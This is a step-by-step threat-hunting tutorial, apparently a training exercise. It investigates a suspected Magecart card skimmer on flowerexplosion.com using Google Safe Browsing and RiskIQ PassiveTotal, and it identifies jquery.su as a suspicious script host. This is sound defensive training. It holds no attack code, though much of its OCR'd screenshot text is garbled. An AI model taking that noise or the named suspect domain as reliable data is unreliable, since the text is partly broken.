

Advanced Use Case:

www[.]flowerexplosion[.]com Are We Compromised?

Scenario:

Several financial institutions have stated that fraudulent payment card activity has occurred after users made purchases from your website. The financial institutions believe that payment card skimming software was used.

Fraudulent activity started around back in June 2019.

Your website was placed on the Google Safe Browsing blacklist. Users were prevented from accessing your website and your organization started to lose a lot of money. Management gave the order to the Server Admins to get the website back up and running as quickly as possible. Server Admins blow away the website and load a clean known good instance in 20 minutes.

Server Admins did not have or make any backups or keep an instance of the website for you.

You are still tasked with investigating if payment cards were being stolen from your website.

You need to determine the following:

- 1. Were payment cards being stolen from www[.]flowerexplosion.com?
- 2. How were the payment cards being stolen?
- 3. How do you suspect the website was compromised?
- 4. How can you prevent similar attacks in the future from occurring on www[.]flowerexplosion[.]com?

Step 1: Check to see if your organization's website www[.]flowerexplosion[.]com is still on the google safe browsing list.

Open your web browser and search for "google safe browsing"

In the results click on the link for google transparency report: <u>https://transparencyreport.google.com/safe-browsing/search?hl=en</u>

Enter the website www[.]flowerexplosion[.]com

The URL should now be: https://transparencyreport.google.com/safe-browsing/search?url=www.flowerexplosion.com

← → C = transparencyreport.google.com/s	safe-browsing/search?url-www.flowenexplosion.com	*	0	• •	• •	0	۰
Google							
Transparency Report Reports	✔ About FAQ						
Safe Browsing: malware and phishing	Dverview Malware Site status						
	Cofe Droweing oite status						
	Sale Browsing site status						
	Coogle's Safe Browsing technology examines billions of URLs per day looking for unsafe websites. Every day, we discover thousands of new unsafe alter, many of which are legitimate websites that have been comportised. When we detect unsafe sites, we show warnings on Google Search and in web trowsers. You can search to every histories websites example, discover and the search of the search and the search of the search and in web trowsers. You can search						
	IL SEE WIEDER & WEURER SLUTIETS VARGEDUN IN HAR.						
	Check site status						
	www.flowerexplosion.com						
	Current status -	-					
	No unsafe content found						
	Site info						
	This info was last updated on Aug 26, 2019.						
	site satety can change over time. Check back for updates.						

Google is not currently blocking your organization's website. This is a good indicator, but this does not mean that your organization is safe from future attacks.

Since your organization does not have a system or any backups to investigate, this does not mean that your investigation is over. It just means that you must rely upon tools that have historic information about your domain.

Step 2: Open a new tab and go to https://www.google.com

Search for the following question:

what are some common payment card skimming attacks targeting online retailers?

Google	What are some common payment card skimming atta	iks targeting onli 🦆 🔍	III 🧯
	🔍 All 🔠 News 🖾 Images 🖉 Shopping 🗈 Videos	I More Settings Tools	
	About 23,000,000 results (0.89 seconds)		
	How do skimming attacks work? Magecart at (a) www.instart.com/magecart = Stop data exfittation & minimize browser attacks to keep your si how Magecart hackens gain access & the best way to protect ser A Demo. Yiew Products.	eals card numbers safe. Read more now! Learn tive customer data. Request	
	Tag Security Web Pet Advanced form & cookie protection. WAF and I Block unauthorized access. Web Performance	formance loS. Bot Protection. anore. Global CDN.	
	The rising threat of online card-skimming atta https://www.atmmarketplace.com > articles > the-rising/of 0c1 t2, 2013 - The breat entered to all website that accept ere thing all the attacks have in common is the mage is script, from standards and antifiardo best proceices, they can attil be targeted afford to take a passive approach to this threat.	iks — and how •sat-of-aniline cat → tand payments The one high it takes its name Online merchants carit	
	People also ask		
	How do you know if there is a card skimmer?	v	
	What is Magecart attack?	(w)	
	How do I find an ATM skimmer device?	~	
	Can chip cards be skimmed?	×	
		Feedback	
	What is Magecart? Credit card-stealing malw https://www.hbnews.com > tech > tech-news > what-may for: 14,2018. "credit card-stealing onthwar known as Magecart In 2018, multiple large-scale online retailser like Ticketmaster become so exemmes and consistent that information While the known as skimming, is not new,	re proves hard cart-credit-card ▼ as ben infecting - commarce of British The attacks have digital thert of credit car info,	
	People also search for magecart wiki newegg magecart magecart code magecart pci	×	

2

The https Oct 12 thing stand	rising threat of online card-skimming attacks - ://www.atmmarketplace.com > articles > the-rising-threat-or 2, 2018 - The threat extends to all websites that accept credit card all the attacks have in common is the mage.js script, from which it ards and antifraud best practices, they can still be targeted Onli to take a passive approach to this threat.	- and how of-online-car → payments, The one takes its name ine merchants can't
What is Mar https://www.n Dec 14, 2018 - C In 2018, multij become so com known as skimm	gecart? Credit card-stealing malware proves hard bcnews.com > tech > tech-news > what-magecart-credit-card ▼ redit card-stealing software known as Magecart has been infecting e-comme ble large-scale online retailers like Ticketmaster and British The attacks hav mon and consistent that information While the digital theft of credit car info ning, is not new,	rce ve p,
People also sear magecart wiki magecart code magecart mager	rch for newegg magecart magecart pci nto magecart iocs	×

Just from reading the results you can see that one of the popular payment card skimmers is Magecart, a JavaScript attack that targets online merchants. If you click on the links, you will get more information about Magecart.

What is Magecart?

Magecart injects a script designed to steal sensitive data that consumers enter into online payment forms on e-commerce websites directly or through compromised third-party suppliers that websites might depend upon to make their sights function.

Now we are going to utilize RisklQ's PassiveTotal[™] threat hunting tool to further your investigation. PassiveTotal has over 10 years of rich internet from gathering information on the Open Internet (IPv4). This information allows threat hunters and researchers to understand information about a domain and the relationships the domain has had to other domains on the internet.

Step 3: Search for the domain www[.]flowerexplosion[.]com

Open a new tab in your web browser go to https://community.riskiq.com

Login using your credentials and begin by searching for www[.]fowerexplosion[.]com.

	unity.riskiq.com/home			er 🕁 🖸	🗣 👁 🖲 O J 🖸 🗑 I
🗏 🔘 RISKIQ					Tours Upgrade 🛛 👤
Home PassiveTotal Search	Discover • www.flowerexplosion.com				*
Digital Footprint					
Projects	MY DIGITAL FOOTPRINTS		Tour	MY HISTORY Full History	YOUR ACCOUNT
Settings	threatsoc.com	2	© Upgrade to Download	threatsoc.com berjamin powellpthreatsoc.com 2 minutes a	PassiveTotal Community Edition > 153 Web Queries / Day (152 remaining) > 100 AM Outries / Day (100 remaining)
		Open Ports		beavercountypa.gov	District Contractor Secondar
1.50		Louise must advant Digital Facepoints		terjanin powell@threatsoc.com (7 days eps	Downloadable Footprint and Insights for 1
Help Blog	PROJECTS		+New Project Tour	beavercountypa.gov benjamin.poweli@threatsoc.com (7 days ago	domain.
FEEDBACE	Hildegard (4) Tracking domains registered to Hildegard Gruener			beavercountypa.gov hergenin powel@threatsoc.com 7 degs egs	Learn more about our products
Ideas Portal				attorneygeneral.gov benjenih powiddhredsoc.com (7 drys egs	FEATURED
DEVELOPERS API				appengine.egov.com Innjanin.powibilitivadioc.com 7 days egs	AP134 eaked toos and expansion infrastructure Funkchrout 1 mere
Ruby Client				www.ccelections.com briganin.powiliptivastoc.com (7.deps age	FIN7 Cyber Espionage Group: Threat Infrastructure Analysis
INTEGRATIONS				ccelections.com Insjamin.powel@donatorc.com (7 days age	Gift Card Sharks
Splunk IBM				appengine.egov.com Insjanin.powelbthreatoc.com (7 days age	APT28 XAGENT INFRASTRUCTURE
Slack/Hipchat CRITs				appengine.egov.com Imjenin.poveletivezaccom (7 dejs zgr	2017 Foliate Presert Miking
MISP Maltego				206.16.21.55 Ionjamin powel/bit/reation.com (7 deps ago	2018 Public Frequet (Thurs
				appengine.egov.com tenjamin.powel@dvination.com [? ditys age	APT28 XAgent Infrastructure 2019 Notice Project Topics
				amadorgov.org beganin.powelbthreated.com (7 days age	A Deeper Look at the Phishing Campaigns Targeting Beilingcat Researchers Investigating Rur
				104 99 239 57	On July 26th, ThreatConnect publishes, analysis of a coordinated phishing attack

After your search the URL should be: <u>https://community.riskiq.com/search/www.flowerexplosion.com</u>



Examining the IP addresses, we see that they have not changed since 2017. Therefore, there is nothing unusual that sticks out.

Step 4: Click on the subdomains tab.

\leftrightarrow \rightarrow C \cong community.ris	kiq.com/search/www.flower	explosion.com												* 0 4 4		00
	ww.flowerexplosion.c	om 💿												т	ours Enterpri	se 🛛 🔟
First Seen 2010-07-27 Ray	gistrar GoDaility.com.LLC	Categorize														
* HEATMAP Pins the click / shi	(b-click like heatmap to filter the result	i belor													LEGIND	III NEU
							NAME AND ADDRESS OF									
	Mo d															
	Tu. J												2 2			
	TR.									2			-2			
	Fr 2												2			
	50	Apr	с М	ay	jun	* * *	Jul.	2 2	Aug		4 4	Sep.				
		100	2011	104		201						1014		2014		
														2019-03-10 10 2019-09-	-17	
* DATA																
		14 Resolutions	WHOIS Certificate	Subdomains	Trackers	Components	Host Pairs	OSINT	Hashes	DNS	Projects	Cookies				
FILTERS O	SUBDOMAINS O															
HOSTNAME (0/0)		-8 of 8 + Sort : H	ostname Ascending *												Dow	mload Copy
✓ × beta.flowerex 1		Hostname												Tags		
Howerexplosio 1		beta.flowerexpl	iosion.com													
✓ x is.flowerexplo 1	0	flowerexplosion	Lom													
✓ ೫ media.flowere 1	0	ftp.flowerexplor	sion.com													
Show More		js.flowerexplosi	ion.com													
TAG	0	media.floweres	plosion.com													
STRIEM IAU	0	skin flowerexpk	osion.com													
	0	webmail.flower	explosion.com													
	0	www.flowerexp	losion.com													
	1-8 of 8															0
in the second state of the																_

All of the domains are part of flowerexplosion[.]com and do not seem to be unusual and stick out to you.

Step 5: Click on the Trackers tab.

🗄 🔘 RISKIQ 🔍 🖤	w.flower	explosion.com														Tours	Enterprise	0
First Seen 2010-07-27 Reg	istrar GeDath Istrant Domisin	Categorize																
		Resolutions	WHOIS	Certificate	Subdomains	Trackers	Components	Host Pairs	OSINT	Hashes	DNS	Projects	Cookier	1				
FILTERS O	TRACK	tas O																
TYPE (10./17)	0.	Show: 25 + 1-21 of 21 + Sort	: Last Seen D	escending *													Downloa	d Copy
✓ X Facebookld 3		Hostname			First	Last		Туре					,	falue			Tag	8
✓ × AddThisPubld 2	0	www.flowerexplosion.com			2016-09-11	2019-	09-15	Facebookid						20749415260274	•			
✓ X FacebookPixelid 2		www.flowerexplosion.com			2018-04-28	2019-	09-15	FacebookPo	velid				2	20749415260274				
 × GoogleAnalyti 2 × GoogleTarMa 2 		www.flowerexplosion.com			2014-03-26	2019-	09-15	GoogleAnaly	ticsAccountN	umber				al-11273372				
how More	0	www.flowerexplosion.com			2014-03-26	2019-	09-15	GoogleAnaly	rticsTrackingle	1				49-11273372-1				
HOSTNAME (1721)		www.flowerexplosion.com			2017-06-14	2019-	09-15	GoogleTagN	lanagerid					ton-nzjizfn				
✓ X www.flowere 21		www.flowerexplosion.com			2019-09-10	2019-	09-10	Bitlyid						magnific				
	0	www.flowerexplosion.com			2015-05-31	2019-	09-10	GoogleAnaly	rticsTrackingio	1				al-11273372-2				
	0	www.flowerexplosion.com			2014-03-26	2019-	09-10	Twitterld						Iowerexplosion				
		www.flowerexplosion.com			2018-11-10	2019-	09-10	GooglePlusi	đ					01280392008455	526763			
	0	www.flowerexplosion.com			2018-11-10	2019-	09-10	instagramid						m				
		www.flowerexplosion.com			2018-03-23	2019-	09-10	YouTubeCh	annel					r dibefaicily-bm	niv2nw			
		www.fowerexplotion.com			2018-04-28	2019-	09-10	Pinterestid					-	evolucion				
		www.fowerextinsion.com			2015-05-31	2019	09-10	Earebookid					-	toward .				
					2018.02.22	2010	09-10	Instantanid					-	anne exclusion				
		www.nowereagnosion.com			2010/09/23	2017		Company and					-	iower_explosion				
	0	www.nowerexplosion.com			2013-08-31	2018-	11-10	opumitelyi					-	16699300143				
		www.flowerexplosion.com			2016-09-11	2018-	11-10	Facebookid						162033806818984				
	0	www.flowerexplosion.com			2018-11-10	2018-	11-10	FacebookPb	elid					1620338D6818984				
		www.flowerexplosion.com			2014-03-26	2018-	04-28	YouTubeld						lowere				
		www.flowerexplosion.com			2017-05-29	2017-	05-29	GoogleTagN	lanagerid					ptom-t55t8x				
	0	www.flowerexplosion.com			2014-06-01	2016-	03-08	AddThisPub	ы					a-4e1aa35d72850	7e7			
	0	www.flowerexplosion.com			2014-03-26	2014-	03-26	AddThisPub	ld .					a-dad2ceab69e1	c5b			-

Look for trackers like MarkOfTheWeb or TorHiddenServiceAddress that are usually associated with threat actor activity. MarkOfTheWeb is created when someone duplicates your website using Internet Explorer. This is usually associated with phishing attacks. TorHiddenServiceAddress is associated with Tor exit nodes that bridge the open internet and the dark web.

The trackers results listed do not show anything unusual.

Step 6: Click on the Components tab

← → C ii community.rit	skiq.com/sear	ch/www.flowerexplosion.com												*	0 4 4	••	0 / 🖸	
	ww.flower	explosion.com														ours	Enterprise	Θ.
Ent Seen 2010-07-27 Ra Last Seen 2019-09-18 Ra	gistrar GeDadd gistrant Domain	Categoria																
		14	. 9	6		21	137	128	10	1.	5	0	769					
		Resolution	s WHOIS	Certificate	Subdomains	Trackers	Components	Host Pairs	OSINT	Hashes	DNS	Projects	Cookies					
FILTERS O	COMPO	NENTS O																
WEBCOMPONENTTYPE (10	0.1	Rhow: 25 + 1-25 of 137 +	Sort : Last See	Descending *													Download	Сору
a near		Hostname			First	Las	6	Category				Value	•				Tags	
 × Tracking Potes 41 × X JavaScript Lib 19 	0	www.flowerexplosion.com			2014-03-26	201	9-09-17	Ad Excha	nge			Face	book					
~ × CDN 10	0	www.flowerexplosion.com			2018-05-13	201	9-09-17	Tag Mgm				Goog	gle Tag Manager					
✓ X Analytics ServI_ 8		www.flowerexplosion.com			2017-05-08	201	9-09-17	CDN				Clou	dFlare					
✓ X Ad Network 6 Show More	0	www.flowerexplosion.com			2019-07-05	201	9-09-17	Server				Clou	dFlare					
HOSTNAME (1./ 137)	0	www.flowerexplosion.com			2014-03-26	201	9-09-17	JavaScrip	Library			jque	iny					
✓ × www.flower 137		www.flawerexplosion.com			2017-05-01	201	9-09-17	DDOS Pro	stection			Clou	dFlare					
NAME (10727)		www.flowerexplosion.com			2016-03-27	201	9-09-17	JavaScrip	Ubrary			jQue	ery UI					
√ X WordPress 6	0	www.flowerexplosion.com			2016-07-15	201	9-09-17	Tracking	Pixel			Face	book Pixel					
✓ X CloudFlare 5	0	www.flowerexplosion.com			2015-05-31	201	9-09-17	Ad Netwo	irk			Gooj	gie					
✓ × Admeta 2		www.flowerexplosion.com			2018-12-31	201	9-09-17	JavaScrip	Library			Boot	tstrap (v3.3.1)					
🛩 🛪 Amazon Web 2	0	www.flowerexplosion.com			2014-03-26	201	9-09-17	Analytics	Service			Gooj	gle Analytics					
Show More		www.flowerexplosion.com			2015-11-30	201	9-09-17	Tracking	Pixel			Goog	gle Analytics					
	0	www.flowerexplosion.com			2017-12-26	201	9-09-17	Analytics	Service			Luck	y Orange					
	0	www.flowerexplosion.com			2014-03-26	201	9-09-17	Retargeti	ng			Bour	nce Exchange					
		www.flowerexplosion.com			2015-08-31	201	9-09-17	Analytics	Service			Opti	imizely					
	0	www.flowerexplosion.com			2019-05-02	201	9-09-17	Custome	Engagemen	t		Zent	Desk Chat					
		www.flowerexplosion.com			2018-08-10	201	9-09-17	JavaScrip	Library			Cred	iit Card Validation	Javascript				
	0	www.flowerexplosion.com			2017-09-03	201	9-09-17	Web Des	gn			Font	Awesome (v4.0.3					
		www.flowerexplosion.com			2014-06-01	201	9-09-17	Ad Excha	nge			Goog	gle Ads - DoubleCl	ick				
	0	www.flawerexplosion.com			2015-11-30	201	9-09-17	Tracking	Pixel			Goog	gle Search					0
	0	www.flowerexplosion.com			2017-05-29	201	9-09-17	Analytics	Service			Gooj	gie Tag Manager				1	L

There are over 100 results, expand the number of results to 250 by clicking on Show: 25 and then clicking on 250.

\leftrightarrow \rightarrow \bigcirc \bigcirc \bigcirc community.riskig.	.com/search/wv	w.flowerexplosion.com			
	.flowerexpl	osion.com 🛛 🛇			
First Seen 2010-07-27 Registra Last Seen 2019-09-18 Registra	ar GoDaddy.com, ant Domains By Pro	LC • Categorize			
		14	9 6	8	21 137
		Resolutions	WHOIS Certific	ate Subdomains	Trackers Components
FILTERS () WEBCOMPONENTTYPE (10	COMPONENT	S ① 25 ◀ 1-25 of 137 ► Sort	: Last Seen Descendin	g v	
/ 10/)	25	name		First	Last
✓ X Tracking Pixel 41	D 50	r.flowerexplosion.com		2014-03-26	2019-09-17
✓ × Javascript Lib 19 ✓ × CDN 10	D 100 250	r.flowerexplosion.com		2018-05-13	2019-09-17
🛩 🗶 Analytics Servi 8	500	r.flowerexplosion.com		2017-05-08	2019-09-17
✓ X Ad Network 6 Show More	0 ww	v.flowerexplosion.com		2019-07-05	2019-09-17

Sort the results to First seen Descending.

\leftrightarrow \rightarrow C \cong community	.riskiq.com/search/www.flowerexpl	osion.com					
	www.flowerexplosion.com	0					
First Seen 2010-07-27 Last Seen 2019-09-18	Registrar GoDaddy.com, LLC Registrant Domains By Proxy, L	Categorize					
		14	9	6	8	21	137
		Resolutions	WHOIS	Certificate	Subdomains	Trackers	Components
FILTERS () WEBCOMPONENTTYPE (10 (107)	COMPONENTS ® □ ▼ Show:250 ◀ 1-13	7 of 137 ► S	ort : Last See	n Descending 🔻			
A M Tracking Rivel 41	Hostname	F	First Seen Des	cending	First	Last	
✓ X Tracking Pixer 41 ✓ X JavaScript Lib 19	www.flowerexplos	ion.com	First Seen Asce	ending	2014-03-26	201	9-09-17
✓ × CDN 10	www.flowerexplos	ion.com L	ast Seen Des	cending	2018-05-13	201	9-09-17
🛩 🗶 Analytics Servi 8	www.flowerexplos	sion.com l	ast Seen Asce	ending	2016-07-15	201	9-09-17

← → C = community.ris	ikiq.com/search/www.flowe	rexplosion.com												*	044		010	
	ww.flowerexplosion.c	com O														Tours	Enterprise	0 1
First Seen 2010-07-27 Re	gitter Gebahly.com.U.C	Categorize																
ant y my spinning all beddested a firm		14		6		21	137	128	10	1	5	0	769					
		Resolutions	WHOIS	Certificate	Subdomains	Trackers	Components	Host Pairs	OSINT	Hashes	DNS	Projects	Cookies					
FILTERS O	COMPONENTS 0																	
WEBCOMPONENTTYPE (10	□ • Show:250 •	1-137 of 137 +	Sort : First Seen	Descending *													Download	d Copy
4.1070	Hostname				First	Las		Category				Value					Tags	i i
 X Tracking Potel 41 X LavaScript Lib., 19 	www.flowere	explosion.com			2019-09-10	201	9-09-10	Online Vi	deos .			YouT	ube					
√ × CDN 10	www.flowers	explosion.com			2019-09-10	201	9-09-10	JavaScrip	Library			Word	Press Emoji (v5.1	2.2)				
✓ X Analytics Servi 8	· www.flowere	explosion.com			2019-09-10	201	9-09-10	CMS				Word	Press (v5.2.2")					
	www.flowere	explosion.com			2019-09-10	201	9-09-10	JavaScrip	Library			Word	Press Embeds (v	5.2.2)				
HOSTNAME (57137)	www.flowers	explosion.com			2019-07-05	201	9-09-17	Server				Cloud	fRare					
✓ × www.flower 137	www.flowere	explosion.com			2019-05-02	201	9-09-17	Custome	Engagement			ZenD	esk Chat					
NAME (10/27)	www.flowere	explosion.com			2019-02-07	201	9-02-07	Tracking	Pixel			-	google.es					
✓ X WordPress 6	www.flowere	explosion.com			2018-12-31	201	9-09-17	JavaScrip	Library			Boots	strap (v3.3.1)					
✓ × CloudFlare S	G www.flowere	explosion.com			2018-11-10	201	8-11-10	Wordpre	is Plugin			Akisn	net Anti-Spam					
v x Admeta 2	O www.flowere	explosion.com			2018-11-10	201	9-09-10	Wordpre	is Plugin			Insta	gram Feed					
✓ X Amazon Web 2	O www.flowere	explosion.com			2018-11-10	201	9-09-10	Develope	sent Tool			AddT	oAny					
Show More	www.flowere	explosion.com			2018-11-10	201	9-09-10	Wordpre	is Plugin			Add	oAny Share Butt	ons				
	www.flowere	explosion.com			2018-11-10	201	9-09-10	Sharing				Lock	erz Share					
	www.flowere	explosion.com			2018-11-10	201	9-09-10	CDN				Boot	Strap CDN					
	www.flowere	explosion.com			2018-11-10	201	9-09-10	Web Desi	gn			Font	Awesome (v4.7.0	9				
	· www.flowere	explosion.com			2018-11-10	201	8-11-10	Publisher				insta	gram					
	O www.flowere	explosion.com			2018-11-10	201	8-11-10	CMS				Word	Press (v4.9.8)					
	www.flowere	explosion.com			2018-08-13	201	9-08-29	Tracking	Posel			hi.he	Tobar.com					
	www.flowere	explosion.com			2018-08-10	201	9-09-17	JavaScrip	Library			Cred	t Card Validation	Javascript				
	www.flowere	explosion.com			2018-06-23	201	8-06-23	CDN				Goog	le Hosted Librari	les				0
	www.flowere	explosion.com			2018-06-23	201	8-06-23	JavaScrip	Library			jQue	ry (v1.8.0)					U
	-	and a second				-		CDAL										

In the results, if you look at entries from 2018-12-31 to present in the First seen column. We can see that Bootstrap 3.3.1, ZenDesk Chat, and WordPress v5.2.2 were added. Nothing unusual listed. But some of the entries might contain vulnerabilities. We will come back to investigate if vulnerabilities exist a little later.

Step 7: Investigate the JavaScripts used on www[.]flowerexplosion[.]com.

Now some information about payment card skimmers and identified one of the most popular slimmers as Magecart. We now have a potential avenue of attack via a malicious JavaScripts. We will now need to examine the JavaScripts used on your website to see if you can identify a potential JavaScript that needs to be further investigated. RiskIQ PassiveTotal will not display the contents of the JavaScripts it has detected it will only identify the sources where the JavaScripts came from. RiskIQ has other modules and solutions that can monitor and alert organizations to changes in JavaScripts or Malicious code contained in JavaScripts.

To start our JavaScript investigation in PassiveTotal, you need to click on the Host Pairs tab.

Note:

Host Pairs are the relationship between two websites that were observed during RisklQ's crawl the website. For example, a website that you visit might be pulling in the logo from Amazon (Parent relationship) or the website might send analytic data to google to track user experience (child relationship).

The connection could range from a top-level redirect (HTTP 302) to something more complex like an iframe or script source reference.

Think of the relationship with regard to what you have searched. In our case, we searched for www[.] flowerexplosion[.]com.

Host Relationships



In our example: www[.]flowerexplosion[.]com is going to google.com and loading a JavaScript. It does not state which JavaScript was loaded, just where it was loaded from. www[.]flowerexplosion[.]com is also sending payment information to payments.amazon.com. This might be for processing online payments from orders.

C - C - Community.rs	wid could search	nymwm.nowerexpi	USINE COM				_								*		500	
	ww.flowere	explosion.com	0													Tours	Enterprise	0
First Seen 2010-07-27 Ra Last Seen 2019-09-18 Ra	gistrar GeDaildy gistrant Domains	arom, LLC O	Categorize															
			14	. 9	6		21	137	128	10	1	.5	0	769				
			Resolutions	WHOIS	Certificate	Subdomains	Trackers	Components	Host Pairs	OSINT	Hashes	DNS	Projects	Cookies				
FILTERS O	HOST PA	AIRS O																
DIRECTION	· · 8	how:25 + 1-25 o	f 128 + So	rt : Last Seen	Descending *												Download	d Copy
✓ parents		Parent Hostname				Child Host	name				First			Last		Cause	Tags	
✓ children	0	frame				www.flow	erexplosion.co				2018	09-06		2019-09-17		unknown		
PARENT HOSTNAME (10./		www.flowerexplo	sion.com			c683207.st	il.cf2.rackcdn.c	em.			2016	-02-07		2019-09-17		img.src		
✓ X www.flower 103	0	www.flowerexplo	sion.com			dinform	ipiaw0.cloudfr	ont.net			2016	-10-30		2019-09-17		img.src		
✓ × d1nfcimmipia 5		www.flowerexplo	sion.com			fonts.gstar	tic.com				2016	-06-30		2019-09-17		css.import		
✓ X media.floexp.c., 4		www.flowerexplo	sion.com			my.hellob	ar.com				2017	-05-01		2019-09-17		script.src		
✓ X cdn.optimizely 2	0	www.Rousersenia	elan com				la arteancines n				2016	.07.15		2019-09-17		series ser		
✓ X static.addtoan 2 Cheer More		min some capit						0.2										
CAUSE (00/124)		www.flowerexplo	sion.com			www.goog	lecommerce.c	om			2016	-02-07		2019-09-17		script.src		
✓ × script.src 46		www.flowerexplo	sion.com			v2.zopim.c	om				2016	-02-07		2019-09-17		script.src		
✓ ≈ img.src 26		www.flowerexplo	sion.com			bat.bing.co	m				2016	-02-07		2019-09-17		script.src		
√ × unknown 24	0	www.flowerexplo	sion.com			114109.tct	m.co				2017	-10-06		2019-09-17		script.src		
✓ × linkhref 7		www.flowerexplo	sion.com			bounceex	thange.com				2016	-02-07		2019-09-17		script.src		
✓ X css.import 5 Show More	0	www.flowerexplo	sion.com			d10lpsik1i	8c69.cloudfrom	Lnet			2016	-10-29		2019-09-17		script.src		
CHILD HOSTNAME (10740)	0	www.flowerexplo	sion.com			www.goog	letagmanager	com			2017	-05-29		2019-09-17		script.src		
✓ × www.flowere 26		www.Sowerexplo	sion.com			connect.fa	cebook.net				2016	-02-07		2019-09-17		script.src		
✓ × d10lpsik1i8c6 3	0	www.flowerexplo	sion.com			cdn.optim	izely.com				2016	-02-07		2019-09-17		script.src		
✓ X d1nfcimmipia 3		www.Rowerexpla	sion.com			dinform	ipiaw0.cloudfn	ont.net			2016	-10-29		2019-09-17		script.src		
✓ × medianoexp.c. 3		www.flowerexplo	aion.com			www.roor	le-analytics.co	m			2016	-02-07		2019-09-17		script.src		
Show More		flowerexplosion.c	om			www.flow	erexplosion.co				2018	-05-05		2019-09-17		redirect		
		www.flowerexpla	sion.com			flowerexp	losion.com				2018	-05-05		2019-09-17		redirect		
	0	www.flowereania	aion com			foots esta	lic com				2019	09-07		2019-09-16		parentPage		-
		- martine coper				the second second					2013	00.07		2010.00.14				
		www.nowerexplo	sion.com			www.flow	erexprosion.co				2019	09-07		2019-09-16		baceuro.986		0

Since we are looking just for scripts in the CAUSE filter section on the left click on the check next to script.src. This will filter the results to only show causes in host pairs that were scripts.src.

CA	USE	(10 / 124)	×
~		script.src	46
~	×	img.src	26
~	×	unknown	24
~	×	link.href	7
~	×	css.import	5

Now sort the results on the screen to First Seen Descending:

\leftrightarrow \rightarrow C \cong community	.riskiq.com/search/www.flowerex	plosion.con	1		
	www.flowerexplosion.co	m o			
First Seen 2010-07-27 Last Seen 2019-09-18	Registrar GoDaddy.com, LLC Registrant Domains By Proxy, L	 Categoriz 	e		
		14	9	6	
		Resolutio	ns WHOIS	Certificate	Subd
FILTERS 🚯	HOST PAIRS 🚯				
DIRECTION	□ ▼ Show: 25 ◀ 1-2	5 of 46 ►	Sort : Last Seen D	escending •	
✓ parents	Parent Hostnan	ne	First Seen Descer	nding	
🗸 children	www.flowerexp	losion.com	First Seen Ascend	ling	
PARENT HOSTNAME (107 121)	www.flowerexp	losion.com	Last Seen Descen	ding	
🗸 🗶 www.flower 103	www.flowerexp	losion.com	Last Seen Ascend	ling	
🛩 🗶 d1nfcimmipia 5	www.flowerexp	losion.com			

9

First Seen 2010-07-27 Ra	pitrar Godadily.com.LLC	O Constanting															
LastSeen 2019-09-18 Ro	pstrant. Demains By Provy.	Categorite															
		14 Resolutions	9 WHOIS	6 Certificate	l Subdomains	21 Trackers	1.37 Components	128 Host Pairs	10 OSINT	Hashes	5 DNS	0 Projects	769 Cookies				
TERS O	HOST PAIRS 0																
RECTION	. • Show:25		: First Seen Des	cending *												Do	writed
parents	Parent	t Hostname				Child Hostname					First		Last		Cause		Tags
children	o www.f	flowerexplasion.com				jquery.su					2019-05	-23	2019-0	9-13	script.src		
RENT HOSTNAME (007	0 www.0	flowerexplosion.com				www.shoppera	pproved.com				2019-01	-22	2019-0	2-13	script.src		
V www.former 103	o www.f	flowerexplosion.com				kinfirighbetted.	host				2018-11	24	2019-0	1-27	script.src		
× d1nfcimmipia 5		flowerexplosion.com				load sumo com					2018-11	-10	2019-0	9-10	script.src		
× media.floexp.c 4	-	Remarkan Indian com				marie addresses					2018-11	10	2019-0	6.10	sector are		
× cdn.optimizely 2		nowerexplosion com				scatter, and the any	A DET				2010-11		2019-0		perpetite		
X static.addtoan 2	11410	9.tctm.co				www.flowerexp	losion.com				2018-11	08	2018-1	1-08	script.src		
ISE on ratio	www.f	flowerexplosion.com				www.g-statistic	com				2018-08	-10	2019-0	1-27	script_src		
× script.src 46	D www.f	flowerexplosion.com				ajax.googleapis	com				2018-06	-23	2018-0	6-23	script.src		
x img.src 26	G www.f	flowerexplosion.com				ajax.cloudflare.	com				2018-05	-13	2018-0	5-13	script.src		
× unknown 24	O www.f	flowerexplosion.com				stats.wp.com					2018-04	28	2018-0	4-28	script.src		
× link.href 7	O www.f	flowerexplosion.com				secure.gravatar	com				2018-04	-28	2018-0	4-28	script.src		
× css.import 5	a www.f	flowerexplosion.com				s0.wp.com					2018-04	-28	2018-0	4-28	script.src		
ILD HOSTNAME (10/40)		flowerexplosion.com				114109.tctm.co					2017-10	06	2019-0	9-17	script.src		
× www.flowere 26	O www.f	flowerexplosion.com				www.googletag	manager.com				2017-05	-29	2019-0	9-17	script.src		
× d10lpsik1i8c6 3	0	flowerexplosion.com				my.hellobar.com	n				2017-05	-01	2019-0	9-17	script.src		
× d1nfcimmipia 3	C	flower explosion.com				assets perion					2017-05	-01	2017-1	1-15	script.src		
× media.floexp.c 3	0	Compression com				land summer of					2017.02	41	2018-0	4.28	script or		
More State	0	Second Second				htmlf-him					3017-02		2010-0	6.74	ange are		
		nower expression.com				mumas/im.gooj	peroversion				2017-02		2018-0		script.src		
	dinfci	immipiaw0.cloudfront.net				www.fiowerexp	losion.com				2017-02	-11	2019-0	9-10	script.src		
						and the statements of the					2017-01	10	2017.0	4.04	and the second second		

The first entry is jquery.su first seen 2019-05-23 and last seen 2019-09-13. The server was rebuilt on 2019-09-13. The fraudulent payment card activity was seen in June 2019. This could be a potential candidate for further investigation. www[.]shopperapproved[.]com was first seen in January 2019 does not fit the time period.

Viewing the results, most we have seen in 2018 or before. Only one script item is was first observed in 2019, jquery. su. Jquery.su was first observed on 05-23-2019, this is right before the first fraud that was reported by the financial institutions.

Now that we have the suspect script what can we do next?

RiskIQ has enterprise products and features that would automatically monitor your websites and alert you to changes in the website's JavaScripts that you directly control or a third-party website you rely upon. But since we are using the RiskIQ Threat Investigation tool PassiveTotal we will have to manually investigate the domain to further understand what it is and if it is associated with malicious activity.

The next steps need to be done cautiously. Since we might be dealing with an active attack could infect your computer by visiting the website directly. It is important to have a safe way to visit the website and to not get compromised during your investigation.

You could just visit the website and view the source and see what is happening but that is really not safe. I will show you a safer way to do the investigation. You can investigate the websites and scripts and to not tip them off.

Step 8: Pivot search on jquery[.]su, right-click on jquery[.]su and open it in a new tab.

	ww.flower	explosion.com													Tours	Enterprise	0
D Rest Seen, 2010-07-27 Raj Last Seen, 2019-09-18 Rej	pitrar GeDade pitrant Demain	ipcom, LLC Categorize															
		14 Resolutions	9 WHOIS	6 Certificate	8 Subdomains	21 Track	137 ers Components	128 Host Pairs	10 OSINT	1 Hashes	S DNS Pro	ects Cook	es				
ILTERS O	HOST	PAIRS O															
DIRECTION	0.	Show: 25 + 1-25 of 46 + Sort	: First Seen D	escending *												Download	d Copy
/ parents		Parent Hostname				Child Hos	name				First		Last	0	ause	Tags	
